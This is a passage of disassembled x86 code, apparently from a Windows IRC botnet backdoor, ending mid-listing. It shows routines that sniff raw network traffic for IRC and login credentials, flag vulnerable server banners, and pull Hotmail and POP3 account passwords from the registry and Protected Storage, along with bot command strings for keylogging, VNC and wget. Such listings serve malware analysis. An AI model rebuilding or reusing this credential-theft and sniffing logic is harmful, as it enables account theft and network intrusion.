CODE XREF: sub_4153BB+113j add esp, 24h leave retn sub_4153BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4154DA proc near ; CODE XREF: sub_415686+52p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp mov eax, [ebp+arg_8] push ebx xor ebx, ebx cmp eax, ebx jz short loc_415533 cmp [ebp+arg_C], ebx jnz short loc_4154FD cmp [ebp+arg_10], ebx jnz short loc_415527 push offset aKb ; "KB" push 400h jmp short loc_415510 ; --------------------------------------------------------------------------- loc_4154FD: ; CODE XREF: sub_4154DA+10j cmp [ebp+arg_10], ebx jnz loc_415683 push offset aMb ; "MB" push 100000h loc_415510: ; CODE XREF: sub_4154DA+21j ; sub_4154DA+57j push eax push [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] call sub_4152FB add esp, 18h jmp loc_415683 ; --------------------------------------------------------------------------- loc_415527: ; CODE XREF: sub_4154DA+15j push offset aGb ; "GB" push 40000000h jmp short loc_415510 ; --------------------------------------------------------------------------- loc_415533: ; CODE XREF: sub_4154DA+Bj push esi mov esi, dword_42F0D0 push edi push ebx push ebx call esi ; dword_42F0D0 lea edi, [eax+2] push edi call sub_422F79 pop ecx mov [ebp+arg_8], eax push eax push edi call esi ; dword_42F0D0 cmp [ebp+arg_14], ebx mov esi, offset aSListingDrives ; "%s Listing drives:" jnz short loc_415573 cmp [ebp+arg_18], ebx jnz short loc_415578 push offset aIvrum__ltyn0x9 ; "iVRum..LtyN0X9DHH1k06Rd1" push esi push [ebp+arg_0] push [ebp+arg_4] call sub_4104F6 add esp, 10h loc_415573: ; CODE XREF: sub_4154DA+7Ej cmp [ebp+arg_18], ebx jz short loc_41558C loc_415578: ; CODE XREF: sub_4154DA+83j push offset aIvrum__ltyn0x9 ; "iVRum..LtyN0X9DHH1k06Rd1" push esi push [ebp+arg_0] push [ebp+arg_4] call sub_410491 add esp, 10h loc_41558C: ; CODE XREF: sub_4154DA+9Cj mov esi, [ebp+arg_8] mov ebx, offset aGb ; "GB" mov eax, esi mov edi, 40000000h cmp byte ptr [eax], 0 jz short loc_4155FE loc_4155A0: ; CODE XREF: sub_4154DA+122j push offset off_43E640 push esi call sub_422760 pop ecx test eax, eax pop ecx jz short loc_4155EE xor eax, eax cmp [ebp+arg_C], eax jnz short loc_4155C9 cmp [ebp+arg_10], eax jnz short loc_4155DA push offset aKb ; "KB" push 400h jmp short loc_4155DC ; --------------------------------------------------------------------------- loc_4155C9: ; CODE XREF: sub_4154DA+DCj cmp [ebp+arg_10], eax jnz short loc_4155EE push offset aMb ; "MB" push 100000h jmp short loc_4155DC ; --------------------------------------------------------------------------- loc_4155DA: ; CODE XREF: sub_4154DA+E1j push ebx push edi loc_4155DC: ; CODE XREF: sub_4154DA+EDj ; sub_4154DA+FEj push esi push [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] call sub_4152FB add esp, 18h loc_4155EE: ; CODE XREF: sub_4154DA+D5j ; sub_4154DA+F2j push esi call sub_422120 lea esi, [esi+eax+1] pop ecx cmp byte ptr [esi], 0 jnz short loc_4155A0 loc_4155FE: ; CODE XREF: sub_4154DA+C4j xor eax, eax cmp [ebp+arg_C], eax jnz short loc_415616 cmp [ebp+arg_10], eax jnz short loc_415627 push offset aKb ; "KB" push 400h jmp short loc_415629 ; --------------------------------------------------------------------------- loc_415616: ; CODE XREF: sub_4154DA+129j cmp [ebp+arg_10], eax jnz short loc_41563A push offset aMb ; "MB" push 100000h jmp short loc_415629 ; --------------------------------------------------------------------------- loc_415627: ; CODE XREF: sub_4154DA+12Ej push ebx push edi loc_415629: ; CODE XREF: sub_4154DA+13Aj ; sub_4154DA+14Bj push [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] call sub_4153BB add esp, 14h loc_41563A: ; CODE XREF: sub_4154DA+13Fj xor edi, edi mov esi, offset aSEndOfList_ ; "%s End of list." cmp [ebp+arg_14], edi jnz short loc_41565F cmp [ebp+arg_18], edi jnz short loc_415664 push offset aIvrum__ltyn0x9 ; "iVRum..LtyN0X9DHH1k06Rd1" push esi push [ebp+arg_0] push [ebp+arg_4] call sub_4104F6 add esp, 10h loc_41565F: ; CODE XREF: sub_4154DA+16Aj cmp [ebp+arg_18], edi jz short loc_415678 loc_415664: ; CODE XREF: sub_4154DA+16Fj push offset aIvrum__ltyn0x9 ; "iVRum..LtyN0X9DHH1k06Rd1" push esi push [ebp+arg_0] push [ebp+arg_4] call sub_410491 add esp, 10h loc_415678: ; CODE XREF: sub_4154DA+188j push [ebp+arg_8] call sub_4230B3 pop ecx pop edi pop esi loc_415683: ; CODE XREF: sub_4154DA+26j ; sub_4154DA+48j pop ebx pop ebp retn sub_4154DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415686 proc near ; DATA XREF: sub_403B2C+1F75o var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = dword ptr -1BCh var_1B8 = dword ptr -1B8h var_1AC = dword ptr -1ACh var_1A8 = dword ptr -1A8h var_18C = dword ptr -18Ch var_188 = dword ptr -188h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 240h mov eax, [ebp+arg_0] push esi push edi mov ecx, 90h mov esi, eax lea edi, [ebp+var_240] rep movsd push [ebp+var_188] mov dword ptr [eax+0BCh], 1 lea eax, [ebp+var_23C] push [ebp+var_18C] push [ebp+var_1A8] push [ebp+var_1AC] push [ebp+var_1B8] push [ebp+var_240] push eax call sub_4154DA push [ebp+var_1BC] call sub_41C059 add esp, 20h xor eax, eax pop edi pop esi leave retn 4 sub_415686 endp ; =============== S U B R O U T I N E ======================================= sub_4156F3 proc near ; CODE XREF: sub_415A65+190p ; sub_415A65+1B8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_455ECC, eax mov eax, offset dword_455ECC retn sub_4156F3 endp ; =============== S U B R O U T I N E ======================================= sub_415702 proc near ; CODE XREF: sub_415A65+226p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset dword_439648 push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41571C loc_415718: ; CODE XREF: sub_415702+29j xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_41571C: ; CODE XREF: sub_415702+14j push offset dword_439638 push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_415718 push offset aSh ; "!* SH" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_415743 loc_41573E: ; CODE XREF: sub_415702+50j ; sub_415702+61j ... xor eax, eax pop esi inc eax retn ; --------------------------------------------------------------------------- loc_415743: ; CODE XREF: sub_415702+3Aj push offset aUdp ; "!* UDP" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_41573E push offset aPan ; "!* PAN" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_41573E push offset aPush ; "!* PUSH" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_41573E push offset aWget ; "wget" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_41573E push offset aPhpshell ; "phpshell" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_41573E push offset aMain ; "[MAIN]:" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_41573E push offset aScan ; "[SCAN]:" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_41573E push offset aFtp_1 ; "[FTP]:" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz loc_41573E push offset aTftp ; "[TFTP]:" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz loc_41573E push offset aKeylogger ; "[KEYLOGGER]:" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz loc_41573E push offset aVnc ; "[VNC]:" push esi call sub_4235C0 neg eax pop ecx sbb eax, eax pop ecx neg eax pop esi retn sub_415702 endp ; =============== S U B R O U T I N E ======================================= sub_41580E proc near ; CODE XREF: sub_415A65:loc_415CB6p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aM7pC1xaudb1ty8 ; "m7P/c1xaudB1TY84s/myQpz0" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_415828 loc_415824: ; CODE XREF: sub_41580E+29j xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_415828: ; CODE XREF: sub_41580E+14j push offset dword_439648 push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_415824 push offset dword_439638 push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41584F loc_41584A: ; CODE XREF: sub_41580E+50j ; sub_41580E+61j ... xor eax, eax pop esi inc eax retn ; --------------------------------------------------------------------------- loc_41584F: ; CODE XREF: sub_41580E+3Aj push offset aIrcOperator ; "IRC Operator" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_41584A push offset aNowANetworkAdm ; "now a network administrator" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_41584A push offset aPrivmsg ; "PRIVMSG" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_41584A push offset aJoin ; "JOIN" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_41584A push offset aOper ; "OPER" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_41584A push offset aPong ; "PONG" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_41584A push offset aPing ; "PING" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_41584A push offset aUserhost ; "USERHOST" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz loc_41584A push offset aNotice ; "NOTICE" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz loc_41584A push offset aTopic ; "TOPIC" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz loc_41584A push offset aPass_1 ; "PASS " push esi call sub_4235C0 neg eax pop ecx sbb eax, eax pop ecx neg eax pop esi retn sub_41580E endp ; =============== S U B R O U T I N E ======================================= sub_41591A proc near ; CODE XREF: sub_415A65:loc_415CE1p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset dword_439648 push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_415934 loc_415930: ; CODE XREF: sub_41591A+29j xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_415934: ; CODE XREF: sub_41591A+14j push offset dword_439638 push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_415930 push offset aUser_0 ; "USER " push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41595B xor eax, eax pop esi inc eax retn ; --------------------------------------------------------------------------- loc_41595B: ; CODE XREF: sub_41591A+3Aj push offset aPass_1 ; "PASS " push esi call sub_4235C0 neg eax pop ecx sbb eax, eax pop ecx neg eax pop esi retn sub_41591A endp ; =============== S U B R O U T I N E ======================================= sub_415970 proc near ; CODE XREF: sub_415A65:loc_415D09p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset dword_439648 push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41598A loc_415986: ; CODE XREF: sub_415970+29j xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_41598A: ; CODE XREF: sub_415970+14j push offset dword_439638 push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_415986 push offset a_bot ; "_BOT" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4159B1 xor eax, eax pop esi inc eax retn ; --------------------------------------------------------------------------- loc_4159B1: ; CODE XREF: sub_415970+3Aj push offset a_bot_login ; "_BOT_LOGIN" push esi call sub_4235C0 neg eax pop ecx sbb eax, eax pop ecx neg eax pop esi retn sub_415970 endp ; =============== S U B R O U T I N E ======================================= sub_4159C6 proc near ; CODE XREF: sub_415A65:loc_415D31p arg_0 = dword ptr 4 push offset dword_439648 push [esp+4+arg_0] call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_4159EA push offset dword_439638 push [esp+4+arg_0] call sub_4235C0 pop ecx pop ecx loc_4159EA: ; CODE XREF: sub_4159C6+12j xor eax, eax retn sub_4159C6 endp ; =============== S U B R O U T I N E ======================================= sub_4159ED proc near ; CODE XREF: sub_415A65:loc_415D59p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset dword_439648 push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_415A07 loc_415A03: ; CODE XREF: sub_4159ED+29j xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_415A07: ; CODE XREF: sub_4159ED+14j push offset dword_439638 push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_415A03 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_415A2E loc_415A29: ; CODE XREF: sub_4159ED+50j ; sub_4159ED+61j xor eax, eax pop esi inc eax retn ; --------------------------------------------------------------------------- loc_415A2E: ; CODE XREF: sub_4159ED+3Aj push offset aApache1_3 ; "Apache/1.3" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_415A29 push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_415A29 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_4235C0 neg eax pop ecx sbb eax, eax pop ecx neg eax pop esi retn sub_4159ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A65 proc near ; DATA XREF: sub_403B2C+CB9o var_674 = byte ptr -674h var_673 = byte ptr -673h var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_334 = byte ptr -334h var_32B = byte ptr -32Bh var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = dword ptr -320h var_30C = byte ptr -30Ch var_134 = byte ptr -134h var_B4 = byte ptr -0B4h var_34 = byte ptr -34h var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 674h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 90h mov esi, eax lea edi, [ebp+var_574] push 3Fh rep movsd xor esi, esi xor ebx, ebx inc esi pop ecx mov [eax+0BCh], esi mov eax, [ebp+var_574] mov [ebp+arg_0], eax xor eax, eax lea edi, [ebp+var_673] mov [ebp+var_674], bl rep stosd stosw lea eax, [ebp+var_674] push 0FFh push eax mov [ebp+var_20], 2 mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_454324 ; gethostname lea eax, [ebp+var_674] push eax call dword_454398 ; gethostbyname movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_C] push eax call sub_4223F0 mov eax, [ebp+var_C] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_454394 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jnz short loc_415B1C push [ebp+var_4F0] call sub_41C059 pop ecx push ebx call dword_42F150 ; ExitThread loc_415B1C: ; CODE XREF: sub_415A65+A2j lea eax, [ebp+var_20] push 10h push eax push edi call dword_454344 ; bind cmp eax, 0FFFFFFFFh jnz short loc_415B48 push edi call dword_4543AC ; closesocket push [ebp+var_4F0] call sub_41C059 pop ecx push ebx call dword_42F150 ; ExitThread loc_415B48: ; CODE XREF: sub_415A65+C7j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_10] push 4 push eax push 98000001h push edi mov [ebp+var_10], esi call dword_4542B0 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_415B84 push edi call dword_4543AC ; closesocket push [ebp+var_4F0] call sub_41C059 pop ecx push ebx call dword_42F150 ; ExitThread loc_415B84: ; CODE XREF: sub_415A65+103j mov ecx, [ebp+arg_0] call sub_41111B push eax lea eax, [ebp+var_34] push eax call dword_42F04C ; lstrcpyA jmp loc_415D91 ; --------------------------------------------------------------------------- loc_415B9C: ; CODE XREF: sub_415A65+336j mov esi, 200h lea eax, [ebp+var_334] push esi push ebx push eax call sub_4221F0 add esp, 0Ch lea eax, [ebp+var_334] push ebx push esi push eax push [ebp+var_8] call dword_454330 ; recv cmp [ebp+var_32B], 6 jnz loc_415D91 push [ebp+var_320] call dword_454230 ; ntohs push [ebp+var_320+2] movzx esi, ax call dword_454230 ; ntohs push [ebp+var_328] movzx edi, ax call sub_4156F3 add esp, 4 push dword ptr [eax] call dword_45439C ; inet_ntoa push eax lea eax, [ebp+var_B4] push offset aS_1 ; "%s" push eax call sub_422063 push [ebp+var_324] call sub_4156F3 add esp, 10h push dword ptr [eax] call dword_45439C ; inet_ntoa push eax lea eax, [ebp+var_134] push offset aS_1 ; "%s" push eax call sub_422063 lea eax, [ebp+var_30C] mov [ebp+var_4], ebx push eax call sub_422120 add esp, 10h test eax, eax jbe short loc_415C84 loc_415C55: ; CODE XREF: sub_415A65+21Dj mov eax, [ebp+var_4] lea eax, [ebp+eax+var_30C] cmp byte ptr [eax], 0Dh jnz short loc_415C67 mov byte ptr [eax], 20h loc_415C67: ; CODE XREF: sub_415A65+1FDj cmp byte ptr [eax], 0Ah jnz short loc_415C6F mov byte ptr [eax], 20h loc_415C6F: ; CODE XREF: sub_415A65+205j inc [ebp+var_4] lea eax, [ebp+var_30C] push eax call sub_422120 cmp [ebp+var_4], eax pop ecx jb short loc_415C55 loc_415C84: ; CODE XREF: sub_415A65+1EEj lea eax, [ebp+var_30C] push eax call sub_415702 test eax, eax pop ecx lea eax, [ebp+var_30C] push eax jz short loc_415CB6 lea eax, [ebp+var_134] push edi push eax lea eax, [ebp+var_B4] push esi push eax push offset unk_43E858 jmp loc_415D7F ; --------------------------------------------------------------------------- loc_415CB6: ; CODE XREF: sub_415A65+235j call sub_41580E test eax, eax pop ecx lea eax, [ebp+var_30C] push eax jz short loc_415CE1 lea eax, [ebp+var_134] push edi push eax lea eax, [ebp+var_B4] push esi push eax push offset unk_43E834 jmp loc_415D7F ; --------------------------------------------------------------------------- loc_415CE1: ; CODE XREF: sub_415A65+260j call sub_41591A test eax, eax pop ecx lea eax, [ebp+var_30C] push eax jz short loc_415D09 lea eax, [ebp+var_134] push edi push eax lea eax, [ebp+var_B4] push esi push eax push offset unk_43E810 jmp short loc_415D7F ; --------------------------------------------------------------------------- loc_415D09: ; CODE XREF: sub_415A65+28Bj call sub_415970 test eax, eax pop ecx lea eax, [ebp+var_30C] push eax jz short loc_415D31 lea eax, [ebp+var_134] push edi push eax lea eax, [ebp+var_B4] push esi push eax push offset unk_43E7EC jmp short loc_415D7F ; --------------------------------------------------------------------------- loc_415D31: ; CODE XREF: sub_415A65+2B3j call sub_4159C6 test eax, eax pop ecx lea eax, [ebp+var_30C] push eax jz short loc_415D59 lea eax, [ebp+var_134] push edi push eax lea eax, [ebp+var_B4] push esi push eax push offset dword_43E7C8 jmp short loc_415D7F ; --------------------------------------------------------------------------- loc_415D59: ; CODE XREF: sub_415A65+2DBj call sub_4159ED test eax, eax pop ecx jz short loc_415D91 lea eax, [ebp+var_30C] push eax lea eax, [ebp+var_134] push edi push eax lea eax, [ebp+var_B4] push esi push eax push offset dword_43E7A4 loc_415D7F: ; CODE XREF: sub_415A65+24Cj ; sub_415A65+277j ... lea eax, [ebp+var_570] push eax push [ebp+arg_0] call sub_4104F6 add esp, 20h loc_415D91: ; CODE XREF: sub_415A65+132j ; sub_415A65+166j ... mov ecx, [ebp+arg_0] call sub_411123 test al, al jnz loc_415B9C push [ebp+var_8] call dword_4543AC ; closesocket push [ebp+var_4F0] call sub_41C059 pop ecx push ebx call dword_42F150 ; ExitThread sub_415A65 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DBD proc near ; DATA XREF: sub_403B2C+E64o var_1240 = byte ptr -1240h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = dword ptr -1BCh var_1B8 = dword ptr -1B8h var_190 = dword ptr -190h var_18C = dword ptr -18Ch var_188 = dword ptr -188h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1240h call sub_4220C0 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 90h mov esi, eax lea edi, [ebp+var_240] xor ebx, ebx rep movsd cmp [ebp+var_1B8], ebx mov edi, [ebp+var_240] mov dword ptr [eax+0BCh], 1 jz short loc_415E13 push 1000h lea eax, [ebp+var_1240] push [ebp+var_1B8] push eax call sub_4222F0 add esp, 0Ch loc_415E13: ; CODE XREF: sub_415DBD+3Aj cmp dword_4543E8, ebx mov esi, offset aIazcn0rzRw0xfk ; "iaZcN0Rz/rw0xfK1r.VuQwI." jnz short loc_415E27 call sub_415EA7 jmp short loc_415E3D ; --------------------------------------------------------------------------- loc_415E27: ; CODE XREF: sub_415DBD+61j push esi lea eax, [ebp+var_23C] push offset aSAdvapi_dllNot ; "%s Advapi.dll not loaded" push eax push edi call sub_4104F6 add esp, 10h loc_415E3D: ; CODE XREF: sub_415DBD+68j cmp dword_454438, ebx jnz short loc_415E7B push [ebp+var_190] cmp [ebp+var_1B8], ebx push [ebp+var_188] push [ebp+var_18C] jz short loc_415E78 lea eax, [ebp+var_1240] push eax loc_415E66: ; CODE XREF: sub_415DBD+BCj lea eax, [ebp+var_23C] push edi push eax call sub_416208 add esp, 18h jmp short loc_415E91 ; --------------------------------------------------------------------------- loc_415E78: ; CODE XREF: sub_415DBD+A0j push ebx jmp short loc_415E66 ; --------------------------------------------------------------------------- loc_415E7B: ; CODE XREF: sub_415DBD+86j push esi lea eax, [ebp+var_23C] push offset aSPstore_dllNot ; "%s PStore.dll not loaded" push eax push edi call sub_4104F6 add esp, 10h loc_415E91: ; CODE XREF: sub_415DBD+B9j push [ebp+var_1BC] call sub_41C059 pop ecx push ebx call dword_42F150 ; ExitThread pop edi pop esi pop ebx sub_415DBD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415EA7 proc near ; CODE XREF: sub_415DBD+63p var_2EC = byte ptr -2ECh var_224 = byte ptr -224h var_15C = byte ptr -15Ch var_C4 = byte ptr -0C4h var_2C = byte ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 2ECh push ebx push edi xor ebx, ebx push 3A98h push ebx push offset dword_458738 call sub_4221F0 mov edi, dword_42F04C add esp, 0Ch lea eax, [ebp+var_224] push offset aSoftwareMicr_2 ; "Software\\Microsoft\\Internet Account Man"... push eax call edi ; dword_42F04C lea eax, [ebp+var_24] push eax push 0F003Fh lea eax, [ebp+var_224] push ebx push eax push 80000001h call dword_454384 ; RegOpenKeyExA test eax, eax jnz loc_416204 push esi mov [ebp+var_18], ebx mov [ebp+var_10], 3 mov esi, 96h loc_415F0F: ; CODE XREF: sub_415EA7+356j lea eax, [ebp+var_2C] mov [ebp+var_1C], 0C8h push eax push ebx push ebx lea eax, [ebp+var_1C] push ebx push eax lea eax, [ebp+var_2EC] push eax push [ebp+var_18] push [ebp+var_24] call dword_454264 ; RegEnumKeyExA mov [ebp+var_20], eax lea eax, [ebp+var_224] push offset aSoftwareMicr_2 ; "Software\\Microsoft\\Internet Account Man"... push eax call edi ; dword_42F04C lea eax, [ebp+var_224] push offset asc_43E8EC ; "\\" push eax call dword_42F0D4 ; lstrcatA lea eax, [ebp+var_2EC] push eax lea eax, [ebp+var_224] push eax call dword_42F0D4 ; lstrcatA lea eax, [ebp+var_14] push eax push 0F003Fh lea eax, [ebp+var_224] push ebx push eax push 80000001h call dword_454384 ; RegOpenKeyExA lea eax, [ebp+var_8] mov [ebp+var_8], esi push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_10] push eax push ebx push offset aHttpmailUserna ; "HTTPMail UserName" push [ebp+var_14] call dword_4541F8 ; RegQueryValueExA test eax, eax jnz loc_416093 lea eax, [ebp+var_15C] push eax mov eax, dword_45C1D0 imul eax, 12Ch add eax, offset dword_458738 push eax call edi ; dword_42F04C push esi lea eax, [ebp+var_15C] push ebx push eax call sub_4221F0 mov eax, dword_45C1D0 add esp, 0Ch imul eax, 12Ch add eax, offset dword_458800 push offset aHotmail ; "Hotmail" push eax call edi ; dword_42F04C lea eax, [ebp+var_8] mov [ebp+var_8], esi push eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_10] push eax push ebx push offset aHttpmailPass2 ; "HTTPMail Pass2" push [ebp+var_14] call dword_4541F8 ; RegQueryValueExA test eax, eax jnz loc_4161DC push 2 mov [ebp+var_C], ebx pop eax cmp [ebp+var_8], eax mov [ebp+var_4], eax jbe loc_4161C7 loc_41602E: ; CODE XREF: sub_415EA7+1E5j mov eax, [ebp+var_4] mov al, [ebp+eax+var_C4] push eax call dword_42F248 ; IsCharAlphaNumericA test eax, eax jnz short loc_416061 mov eax, [ebp+var_4] mov al, [ebp+eax+var_C4] cmp al, 28h jz short loc_416061 cmp al, 29h jz short loc_416061 cmp al, 2Eh jz short loc_416061 cmp al, 20h jz short loc_416061 cmp al, 2Dh jnz short loc_416083 loc_416061: ; CODE XREF: sub_415EA7+19Aj ; sub_415EA7+1A8j ... mov eax, dword_45C1D0 mov ecx, [ebp+var_4] imul eax, 12Ch mov edx, [ebp+var_C] mov cl, [ebp+ecx+var_C4] inc [ebp+var_C] mov byte_45879C[eax+edx], cl loc_416083: ; CODE XREF: sub_415EA7+1B8j inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jb short loc_41602E jmp loc_4161C7 ; --------------------------------------------------------------------------- loc_416093: ; CODE XREF: sub_415EA7+103j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_10] push eax push ebx push offset aPop3UserName ; "POP3 User Name" push [ebp+var_14] call dword_4541F8 ; RegQueryValueExA test eax, eax jnz loc_4161F3 lea eax, [ebp+var_15C] push eax mov eax, dword_45C1D0 imul eax, 12Ch add eax, offset dword_458738 push eax call edi ; dword_42F04C push esi lea eax, [ebp+var_15C] push ebx push eax call sub_4221F0 add esp, 0Ch lea eax, [ebp+var_8] mov [ebp+var_8], esi push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_10] push eax push ebx push offset aPop3Server ; "POP3 Server" push [ebp+var_14] call dword_4541F8 ; RegQueryValueExA lea eax, [ebp+var_15C] push eax mov eax, dword_45C1D0 imul eax, 12Ch add eax, offset dword_458800 push eax call edi ; dword_42F04C push esi lea eax, [ebp+var_15C] push ebx push eax call sub_4221F0 add esp, 0Ch lea eax, [ebp+var_8] mov [ebp+var_8], esi push eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_10] push eax push ebx push offset aPop3Pass2 ; "POP3 Pass2" push [ebp+var_14] call dword_4541F8 ; RegQueryValueExA test eax, eax jnz loc_4161DC push 2 mov [ebp+var_C], ebx pop eax cmp [ebp+var_8], eax mov [ebp+var_4], eax jbe short loc_4161C7 loc_416167: ; CODE XREF: sub_415EA7+31Ej mov eax, [ebp+var_4] mov al, [ebp+eax+var_C4] push eax call dword_42F248 ; IsCharAlphaNumericA test eax, eax jnz short loc_41619A mov eax, [ebp+var_4] mov al, [ebp+eax+var_C4] cmp al, 28h jz short loc_41619A cmp al, 29h jz short loc_41619A cmp al, 2Eh jz short loc_41619A cmp al, 20h jz short loc_41619A cmp al, 2Dh jnz short loc_4161BC loc_41619A: ; CODE XREF: sub_415EA7+2D3j ; sub_415EA7+2E1j ... mov eax, dword_45C1D0 mov ecx, [ebp+var_4] imul eax, 12Ch mov edx, [ebp+var_C] mov cl, [ebp+ecx+var_C4] inc [ebp+var_C] mov byte_45879C[eax+edx], cl loc_4161BC: ; CODE XREF: sub_415EA7+2F1j inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jb short loc_416167 loc_4161C7: ; CODE XREF: sub_415EA7+181j ; sub_415EA7+1E7j ... mov eax, dword_45C1D0 mov ecx, [ebp+var_C] imul eax, 12Ch mov byte_45879C[eax+ecx], bl loc_4161DC: ; CODE XREF: sub_415EA7+16Fj ; sub_415EA7+2ACj push esi lea eax, [ebp+var_C4] push ebx push eax call sub_4221F0 add esp, 0Ch inc dword_45C1D0 loc_4161F3: ; CODE XREF: sub_415EA7+20Cj inc [ebp+var_18] cmp [ebp+var_20], 103h jnz loc_415F0F pop esi loc_416204: ; CODE XREF: sub_415EA7+52j pop edi pop ebx leave retn sub_415EA7 endp ; =============== S U B R O U T I N E ======================================= sub_416208 proc near ; CODE XREF: sub_415DBD+B1p mov eax, offset loc_42EF20 call sub_423A68 sub esp, 0DF0h push ebx push esi push edi push offset aProtectedstora ; "ProtectedStorage" call sub_41F7BE test eax, eax pop ecx jnz short loc_416277 xor edi, edi mov ebx, offset aIazcn0rzRw0xfk ; "iaZcN0Rz/rw0xfK1r.VuQwI." cmp [ebp+14h], edi mov esi, offset aSPstoreNotRunn ; "%s PStore not running." jnz short loc_416259 cmp [ebp+18h], edi jnz short loc_416262 cmp [ebp+1Ch], edi jz loc_416378 push ebx push esi push dword ptr [ebp+8] push dword ptr [ebp+0Ch] call sub_4104F6 add esp, 10h loc_416259: ; CODE XREF: sub_416208+31j cmp [ebp+18h], edi jz loc_416378 loc_416262: ; CODE XREF: sub_416208+36j push ebx push esi push dword ptr 